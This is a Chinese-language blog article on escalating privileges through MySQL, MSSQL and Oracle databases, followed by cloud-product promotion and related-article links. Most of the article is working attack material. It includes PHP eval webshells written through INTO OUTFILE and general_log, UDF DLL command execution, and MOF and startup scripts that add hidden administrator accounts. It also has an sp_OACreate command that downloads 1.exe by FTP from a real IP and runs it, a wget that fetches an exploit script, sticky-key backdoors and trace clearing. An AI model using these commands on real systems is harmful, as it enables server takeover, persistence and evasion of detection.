干货 | 各种数据库提权姿势总结(建议收藏)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
云数据库 RDS MySQL,集群版 2核4GB 100GB
推荐场景:
搭建个人博客
简介: 干货 | 各种数据库提权姿势总结(建议收藏)

前言

数据库权限

在平常的渗透提权中,我们通常可以在一些特殊情况下得到数据库的用户名和密码(最高权限root),如下:

    MySQL 3306 端口弱口令爆破sqlmap 注入的 --sql-shell 模式网站的数据库配置文件中拿到明文密码信息CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限


    口令爆破、sqlmap的--sql-shell模式和数据库配置文件中拿明文密码已经老生常谈了,这里主要演示一下CVE-2012-2122

    CVE-2012-2122

    当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

    #受影响版本

    MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

    MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

    在vunlub中启动CVE-2012-2122环境

    640.png

    环境启动后用docker ps查看进程

    640.png

    可以看到启动了一个Mysql服务(版本:5.5.23),监听端口为3306端口,默认的root用户的密码为123456

    我们可以使用mysql客户端进行远程连接数据库

    640.png

    连接测试就证明我们的环境正常搭建。然后就是漏洞利用了,正常模拟攻击者,我们是没有密码,不知道root的密码为123456的,这个时候我们就可以利用CVE-2012-2122来进行身份绕过

    msf可以导出hash值

      msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdumpmsf6 > set rhosts 192.168.178.128msf6 > run

      或者直接bash输入

        root@root:~/桌面# for i in `seq 1 1000`; do mysql -u root --password=bad -h 192.168.178.128 2>/dev/null; doneWelcome to the MariaDB monitor.  Commands end with ; or \g.Your MySQL connection id is 854Server version: 5.5.23 Source distribution
        Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
        Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
        MySQL [(none)]>

        MySQL提权

        Webshell权限

        into oufile 写 shell

        into oufile 写 shell要满足如下条件才可以写入

          1、知道网站物理路径2、高权限数据库用户3、load_file() 开启 即 secure_file_priv 无限制4、网站路径有写入权限

          数据库查看是否有secure_file_priv限制


          mysql> show global variables like '%secure_file_priv%';+------------------+-------+| Variable_name    | Value |+------------------+-------+| secure_file_priv | NULL  |+------------------+-------+


          Value 说明
          NULL 不允许导入或导出
          / 只允许在 / 目录导入导出
          不限制目录

          在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

          在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

          利用phpmyadmin来into outfile

          首先在存在phpmyadmin时,我们可以试试弱口令,root、root来进行登录phpmyadmin后台。登录进去后我们获取网站的绝对路径来进行写shell

          在phpmyadmin中,我们可以利用log变量来猜测网站的绝对路径

          640.png 这里是用phpstudy搭建的网站,所以猜测网站目录在WWW目录下,或者通过其他手段的信息收集,来收集到我们的网站绝对路径。

          有了网站路径,我们就可以执行SQL命令来进行写shell

          640.png

           写入失败,这里失败的原因是因为我们前面查询secure_file_priv值为null,所以权限就是不允许导入或导出,这里我们对secure_file_priv进行修改为空后,再进行写入。

          因为secure_file_priv为只读权限,所以我们打开my.ini文件,加入如下语句再重启服务器。

          secure_file_priv=''

          这时查看权限为所有目录下可写入640.png

          再次写入shell,会发现成功写入。

          640.png

          然后菜刀、蚁剑进行连接。

          640.png 当然我么还可以利用sqlmap进行文件的写入,如下:


          sqlmap -u "http://x.x.x.x/?id=x" --file-write="c:/Users/suifeng/Desktop/shell.php" --file-dest="C:/phpstudy_pro/WWW/shell.php"

          当然这种写shell的方式,在MySQL 5.5之后已经很难实现了,因为MySQL 5.5之后值为NULL,在secure_file_priv没有导入导出权限的时候,我们还可以利用日志写shell。

          利用日志写shell

          在MySQL 5.0 版本以上会创建日志文件,我们可以通过修改日志的全局变量中的存储位置来 getshell


            mysql> SHOW VARIABLES LIKE '%general%';+------------------+-----------------------------------------------------------------+| Variable_name    | Value                                                           |+------------------+-----------------------------------------------------------------+| general_log      | OFF                                                             || general_log_file | C:\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-1G2NI5V.log |+------------------+-----------------------------------------------------------------+

            general_log 默认关闭,高权限的用户可以直接通过mysql命令行进行开启,开启后日志文件记录用户的每条指令,将其保存在general_log _file中。我们可以通过开启general_log ,然后自定义general_log _file来进行getshell。


            mysql> set global general_log = "ON";   #开启general_logmysql> set global general_log_file='c:/phpstudy_pro/www/shell.php';   #修改general_log_file路径

            再次查看权限

            640.png

            #写入shell
            mysql> select "<?php @eval($_POST['suifeng']);?>";
            +-----------------------------------+
            | <?php @eval($_POST['suifeng']);?> |
            +-----------------------------------+
            | <?php @eval($_POST['suifeng']);?> |
            +-----------------------------------+

            然后蚁剑连接

            640.png

            服务器权限

            UDF提权

            什么是UDF

            UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用一些系统函数如version()函数便捷。

            动态链接库

            提权大致方法是把我们的动态链接库放置在特点的目录下,创建我们自定义函数,实现系统函数命令的调用,最终导致提权。

            在mysql<5.1  导出目录c:/windows或system32

            在mysql>=5.1  导出安装目录/lib/plugin/

            在有注入点时候,我们可以通过sqlmap中里的UDF动态链接库进行导入

            #sqlmap中动态链接库位置
            D:\tools\sqlmap\data\udf\mysql

            里面有windows和linux且64位和32位版本,大家可以根据被攻击器来进行选择

            640.png

            sqlmap中的动态链接库为了防止被杀毒软件查杀,都经过了编码处理,不能直接使用,所以我们还需要用sqlmap自带的解码工具clock.py进行解码

            #cloak位置
            D:\tools\sqlmap\extra\cloak
            #解码操作
            D:\tools\sqlmap\extra\cloak>python cloak.py -d -i d:\tools\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll  #windows解码
            D:\tools\sqlmap\extra\cloak>python cloak.py -d -i d:\tools\sqlmap\data\udf\mysql\linux\64\lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so  #linux解码

            640.png

            动态链接库上传位置

            在上传动态链接库之前,我们要先对mysql的版本进行判断

            #判断数据库版本
            mysql> select version();
            +-----------+
            | version() |
            +-----------+
            | 5.7.26    |
            +-----------+

            这里被攻击的靶机版本为5.7.26,所以我们要把动态链接库上传到安装目录/lib/plugin/下面,那我们可以利用如下命令查找安装目录

            mysql> show variables like '%plugin%';
            +-------------------------------+----------------------------------------------------+
            | Variable_name                 | Value                                              |
            +-------------------------------+----------------------------------------------------+
            | default_authentication_plugin | mysql_native_password                              |
            | plugin_dir                    | C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |
            +-------------------------------+----------------------------------------------------+
            mysql> select @@basedir;
            +-----------------------------------------+
            | @@basedir |
            +-----------------------------------------+
            | C:\phpstudy_pro\Extensions\MySQL5.7.26\ |
            +-----------------------------------------+

            640.png

            来到对应的目录下并没有发现/lib/plugin,所以我们需要自己创建一个/lib/plugin,但是真实环境下我们服务器权限还没有拿下(这里用是为了观察直观),所以我们可以在webshell环境下或者通过NTFS ADS流创建文件夹。

            #NTFS ADS流创建语句
            mysql> select 'x' into dumpfile 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin::$INDEX_ALLOCATION';  #创建不一定成功,不成功的情况下还是利用webshell的权限创建目录

            640.png

            创建好后我们就可以导入我们的动态链接库了。

            导入动态链接库

            存在sql注入时

            在存在sql注入的时候,我们可以通过sqlmap来上传动态链接库,但是需要满足的条件为secure_file_priv的值为空,sql注入为最高权限,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击。

            python sqlmap.py -u "http://192.168.178.130/sqli-labs/Less-1/?id=1" --file-write="d:/tools/sqlmap/extra/cloak/lib_mysqludf_sys_64.dll" --file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll"

            不存在sql注入时

            没有sql注入时,我们可以通过执行sql语句来进行写入动态链接库,这里需要写入文件,所以需要secure_file_priv为空。


            #select后面为动态链接库的十六进制编码(数据太长,这里省略显示)SELECT 0x4d5a900003... INTO DUMPFILE 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll';

            动态链接库的十六进制可以通过mysql自带的hex函数或者一些文件十六进制编码器工具解决。当然在sql语句写不进去的动态链接库的时候,我们还可以通过我们的webshell来进行上传。

            文件上传完成后

             

            我们就可以通过sql语句来自定义函数了

              #原本执行代码CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';#修改后执行代码CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

              本来应该执行这条命令来自定义命令的,但是一直报错,后来我把dll文件名字修改之后,创建成功。(可能是下划线导致函数在编译情况下出问题)

                #查询自定义函数mysql> select * from mysql.func;+----------+-----+---------+----------+| name     | ret | dl      | type     |+----------+-----+---------+----------+| sys_eval |   0 | udf.dll | function |+----------+-----+---------+----------+


                  #创建成功后,我们利用自定义函数进行命令执行mysql > select sys_eval('whoami');

                  640.png

                  然后用我们这个自定义命令执行函数进行提权即可。最后为了权限维持,防止被发现,我们可以对自定义函数进行删除。

                    #删除自定义函数mysql> drop function sys_eval;

                    这种手工UDF提权无疑太过繁琐,这里主要推荐通过网页版一键提权脚本,这里使用的是月师傅的马,下面是下载地址

                      链接:https://pan.baidu.com/s/1a5ASE2TLvnKsOUxsHKBjOw 提取码:v9s9

                      上传后访问

                      640.png

                      然后再导入,执行命令即可

                      640.png

                      640.png

                      MOF提权

                      现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。mof的提权原理为mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

                      mof脚本如下

                      #pragma namespace("\\\\.\\root\\subscription") 
                      instance of __EventFilter as $EventFilter 
                      { 
                          EventNamespace = "Root\\Cimv2"; 
                          Name  = "filtP2"; 
                          Query = "Select * From __InstanceModificationEvent " 
                                  "Where TargetInstance Isa \"Win32_LocalTime\" " 
                                  "And TargetInstance.Second = 5"; 
                          QueryLanguage = "WQL"; 
                      }; 
                      instance of ActiveScriptEventConsumer as $Consumer 
                      { 
                          Name = "consPCSV2"; 
                          ScriptingEngine = "JScript"; 
                          ScriptText = 
                      "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user suifeng p@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators suifeng /add\")";   #创建用户
                      }; 
                      instance of __FilterToConsumerBinding 
                      { 
                          Consumer   = $Consumer; 
                          Filter = $EventFilter; 
                      };
                      

                      首先我们将我们的脚本上传,然后用如下命令上传到指定目录。

                      select load_file("C:/Documents and Settings/suifeng.mof") into dumpfile "c:/windows/system32/wbem/mof/suifeng.mof";

                      然后等待五秒后用net user命令可以看到创建的用户

                      640.png

                      mof提权痕迹清理

                      因为每隔几秒钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件

                      #停止winmgmt服务
                      net stop winmgmt
                      #删除Repository文件夹
                      rmdir /s /q C:\Windows\system32\wbem\Repository\
                      #重新启动服务
                      net start winmgmt

                      启动项提权

                      MySQL的启动项提权,原理就是通过mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令。

                      以下是启动项路径

                      #2003
                      C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
                      C:\Documents and Settings\All Users\Start Menu\Programs\Startup
                      #2008
                      C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
                      C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

                      有了路径我们在mysql的shell下输入如下代码

                      create table a (cmd text); 
                      insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
                      insert into a values ("a=wshshell.run (""cmd.exe /c net user suifeng p@ssw0rd /add"",0) " ); 
                      insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators suifeng /add"",0) " ); 
                      select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

                      640.png

                      然后我们在对应路径下就可以看到我们的vbs脚本了

                      640.png

                      然后重启,即可发现vbs脚本里面创建的用户。

                      640.png

                      CVE-2016-6663、CVE-2016-6664组合提权

                      在一些Mysql小于5.5.51或小于5.6.32或小于5.7.14及衍生版本,我们都可以利用CVE-2016-6663、CVE-2016-6664组合对其进行测试提权。

                      1、利用CVE-2016-6663将www-data权限提升为mysql权限:

                      cd /var/www/html/
                      gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
                      ./mysql-privesc-race test 123456 localhost testdb

                      2、利用CVE-2016-6664将Mysql权限提升为root权限:

                      wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
                      chmod 777 mysql-chowned.sh
                      ./mysql-chowned.sh /var/log/mysql/error.log

                      MSSQL提权

                      mssql提权前期要做的工作和mysql提权一样,这里就不再过多的叙述了,主要介绍一下提权方法。

                      mssql提权必知基本命令

                      select @@version   #查看数据库版本
                      select db_name()   #查看当前数据库
                      select IS_SRVROLEMEMBER('sysadmin')  #判断是否为sa权限
                      select IS_MEMBER('db_owner')  #判断是否为dba权限
                      exec master..xp_msver    #查看数据库系统参数
                      #开启xp_cmdshell
                      exec sp_configure 'show advanced options', 1;reconfigure;
                      exec sp_configure 'xp_cmdshell',1;reconfigure;
                      #关闭xp_cmdshell
                      exec sp_configure 'show advanced options', 1;reconfigure;
                      exec sp_configure 'xp_cmdshell', 0;reconfigure;
                      #禁用advanced options
                      EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;
                      #sp_OACreate执行命令
                      DECLARE @js int
                      EXEC sp_OACreate 'ScriptControl',@js OUT
                      EXEC sp_OASetProperty @js,'Language','JavaScript'
                      ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
                      #sp_OACreate移动文件
                      declare @aa int
                      exec sp_oacreate 'scripting.filesystemobject' @aa out
                      exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';
                      #sp_OACreate复制文件
                      declare @o int
                      exec sp_oacreate 'scripting.filesystemobject', @o out
                      exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
                      #sp_OACreate删除文件
                      DECLARE @Result int
                      DECLARE @FSO_Token int
                      EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
                      EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [开始] 菜单\程序\启动\user.bat'
                      EXEC @Result = sp_OADestrop @FSO_Token

                      mssql提权必知权限管理

                      1.bulkadmin:这个角色可以运行BULK INSERT语句.该语句允许从文本文件中将数据导入到SQL Server2008数据库中,为需要执行大容量插入到数据库的域帐号而设计.
                      2.dbcreator:这个角色可以创建,更改,删除和还原任何数据库.不仅适合助理DBA角色,也可能适合开发人员角色.
                      3.diskadmin:这个角色用于管理磁盘文件,比如镜像数据库和添加备份设备.适合助理DBA
                      4.processadmin:SQL Server 2008可以同时多进程处理.这个角色可以结束进程(在SQL Server 2008中称为"删除")
                      5.public:有两大特点:第一,初始状态时没有权限;第二,所有数据库用户都是它的成员
                      6.securityadmin:这个角色将管理登录名及其属性.可以授权,拒绝和撤销服务器级/数据库级权限.可以重置登录名和密码
                      7.serveradmin:这个角色可以更改服务器范围的配置选项和关闭服务器
                      8.setupadmin:为需要管理联接服务器和控制启动的存储过程的用户而设计.
                      9.sysadmin:这个角色有权在SQL Server 2008 中执行任何操作.

                      xp_cmdshell提权

                      xp_cmdshell的作用类似于mysql的udf,其本质是一些sql语句的集合,xp_cmdshell也可以理解为一些危险性比较高的小脚本。

                      xp_cmdshell在mssql2000中开启,在2005之后就是默认禁止的,我们需要sa权限来开启xp_cmdshell

                      #开启xp_cmdshell
                      exec sp_configure 'show advanced options', 1;reconfigure;
                      exec sp_configure 'xp_cmdshell',1;reconfigure;
                      #关闭开启xp_cmdshell
                      exec sp_configure 'show advanced options', 1;reconfigure;
                      exec sp_configure 'xp_cmdshell', 0;reconfigure

                      在打开了xp_cmdshell之后,我们就可以进行执行命令了

                      EXEC master.dbo.xp_cmdshell 'whoami'

                      640.png

                      sp_OACreate提权

                      当xp_cmdshell不可用的时候,我们还可以利用sc_oacreate来进行提权

                      #开启sc_oacreate
                      EXEC sp_configure 'show advanced options', 1;  
                      RECONFIGURE WITH OVERRIDE;  
                      EXEC sp_configure 'Ole Automation Procedures', 1;  
                      RECONFIGURE WITH OVERRIDE;  
                      EXEC sp_configure 'show advanced options', 0;
                      1)直接加用户
                      2000系统:
                      declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'
                      declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add'
                      xp和2003系统:
                      declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
                      declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'
                      2)粘贴键替换
                      declare @o int
                      exec sp_oacreate 'scripting.filesystemobject', @o out 
                      exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
                      declare @o int
                      exec sp_oacreate 'scripting.filesystemobject', @o out 
                      exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
                      需要同时具备sp_oacreate 和sp_oamethod 两个功能组件
                      3)直接传马
                      DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113 > cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q /f&del 1.exe /f /q'--
                      4)启动项写入加账户脚本
                      declare @sp_passwordxieo int, @f int, @t int, @ret int
                      exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
                      exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
                      exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
                      exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
                      exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
                      exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
                      exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
                      exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
                      exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
                      exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
                      exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
                      5)如果该服务器有网站,则直接用方法4)写入一句话

                      沙盒提权

                      什么是沙盒模式?

                      沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.

                      利用条件:

                      1,Access可以调用VBS的函数,以System权限执行任意命令

                      2,Access执行这个命令是有条件的,需要一个开关被打开

                      3,这个开关在注册表里

                      4,SA是有权限写注册表的

                      5,用SA写注册表的权限打开那个开关

                      6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令

                      开启默认关闭的xp_regwrite存储过程:

                      EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

                      利用jet.oledb执行系统命令添加系统账号:

                      select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

                      Oracle提权

                      Oracle权限分配

                      系统权限

                      系统规定用户使用数据库的权限。(系统权限是对用户而言)。

                      系统权限分类

                      DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。

                      RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。

                      CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。

                      对于普通用户:授予connect, resource权限。

                      对于DBA管理用户:授予connect,resource, dba权限。

                      实体权限

                      某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。

                      实体权限分类

                      select, update, insert, alter, index, delete, all //all包括所有权限

                      execute //执行存储过程权限

                      Oracle提权方法

                      通过注入存储过程提权(低权限提升至DBA)

                      原理

                      SYS创建的存储过程存在sql注入。拥有create procedure权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan命令,获得Oracle数据库dba权限

                      利用条件

                      1、SYS创建的存储过程存在sql注入(EG:CVE-2005-4832)
                      2、用户拥有create procedure权限(用来创建函数)

                      提权步骤

                      假设有一个用户quan 只有 CONNECT 和 RESOURCE 权限

                      手工注入

                      (1)用户登陆后执行select * from session_privs查看权限
                      (2)创建函数,命令为grant dba to quan
                      grant execute on pwn to public;//赋予所有用户此函数的执行权限
                      SQL>create or replace function pwn return vaarchar2
                      authid current_user is pragma autonomous_transaction;
                      begin
                      execute immediate 'grant dba to quan';
                      return '';
                      end;
                      /
                      SQL>grant execute on pwn to public;
                      /
                      (3)注入sys.dbms_cdc_subscribe.activate_subscription
                      SQL>begin
                      sys.dbms_cdc_subscribe.activate_subscription('''||quan.pwn()||''');
                      end;
                      /
                      SQL>set role dba;
                      (4)执行select * from session_privs查看是否为dba权限

                      利用MSF注入

                      (1)加载攻击模块
                      use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription
                      (2)配置参数
                      set dbuser quan
                      set dbpass quan123
                      set sid orcl
                      set rhost xxxxx
                      set sql grant dba to quan
                      (3)run

                      2、通过utl_http.request存储过程提权

                      原理

                      Oracle9i~11gR2中dbms_xmlquery.newcontext()dbms_xmlquery.getxml()函数可以执行任意PL/SQL语句,利用这两个函数可以获得Oracle服务器的操作系统权限

                      2.2 利用条件

                      1、UTL_HTTP存储过程可用
                      2、Oracle9i~11gR2

                      提权步骤

                      (1)创建Java包

                      (2)创建存储过程MYJAVACMD

                      (3)执行存储过程,成功添加用户

                      相关实践学习
                      如何在云端创建MySQL数据库
                      开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
                      全面了解阿里云能为你做什么
                      阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
                      目录
                      相关文章
                      |
                      26天前
                      |
                      SQL 关系型数据库 MySQL
                      【权限提升】六种数据库提权&口令获取
                      【权限提升】六种数据库提权&口令获取
                      |
                      2月前
                      |
                      关系型数据库 MySQL Shell
                      mysql数据库提权
                      UDF提权是攻击者利用MySQL的自定义函数(如sys_eval, sys_exec)创建dll文件,获取系统shell权限。需有MySQL的插入和删除权限及写入dll的权限。不同版本MySQL的dll存放位置不同,通常在lib/plugin目录。信息收集包括检查secure_file_priv、操作系统、版本、路径等。获取udf文件可通过sqlmap(需解码)或msf,然后上传到相应目录。注意利用NTFS数据流创建目录。
                      33 1
                      |
                      11月前
                      |
                      运维 网络安全 数据库
                      【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(一)
                      【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)
                      767 0
                      |
                      11月前
                      |
                      运维 监控 小程序
                      【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(四)
                      【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(四)
                      558 0
                      |
                      11月前
                      |
                      运维 数据库
                      【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(三)
                      【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(三)
                      176 0
                      |
                      11月前
                      |
                      运维 数据库 数据安全/隐私保护
                      【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(二)
                      【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(二)
                      179 0
                      |
                      NoSQL 安全 关系型数据库
                      数据库提权总结篇
                      数据库提权总结
                      |
                      8天前
                      |
                      存储 关系型数据库 MySQL
                      探索MySQL:关系型数据库的基石
                      MySQL,作为全球最流行的开源关系型数据库管理系统(RDBMS)之一,广泛应用于各种Web应用、企业级应用和数据仓库中
                      |
                      6天前
                      |
                      关系型数据库 MySQL 网络安全
                      Mysql 数据库主从复制
                      在MySQL主从复制环境中,配置了两台虚拟机:主VM拥有IP1,从VM有IP2。主VM的`my.cnf`设置server-id为1,启用二进制日志;从VM设置server-id为2,开启GTID模式。通过`find`命令查找配置文件,编辑`my.cnf`,在主服务器上创建复制用户,记录二进制日志信息,然后锁定表并备份数据。备份文件通过SCP传输到从服务器,恢复数据并配置复制源,启动复制。检查复制状态确认运行正常。最后解锁表,完成主从同步,新用户在从库中自动更新。
                      892 6
                      Mysql 数据库主从复制
                      |
                      7天前
                      |
                      缓存 运维 关系型数据库
                      数据库容灾 | MySQL MGR与阿里云PolarDB-X Paxos的深度对比
                      经过深入的技术剖析与性能对比,PolarDB-X DN凭借其自研的X-Paxos协议和一系列优化设计,在性能、正确性、可用性及资源开销等方面展现出对MySQL MGR的多项优势,但MGR在MySQL生态体系内也占据重要地位,但需要考虑备库宕机抖动、跨机房容灾性能波动、稳定性等各种情况,因此如果想用好MGR,必须配备专业的技术和运维团队的支持。 在面对大规模、高并发、高可用性需求时,PolarDB-X存储引擎以其独特的技术优势和优异的性能表现,相比于MGR在开箱即用的场景下,PolarDB-X基于DN的集中式(标准版)在功能和性能都做到了很好的平衡,成为了极具竞争力的数据库解决方案。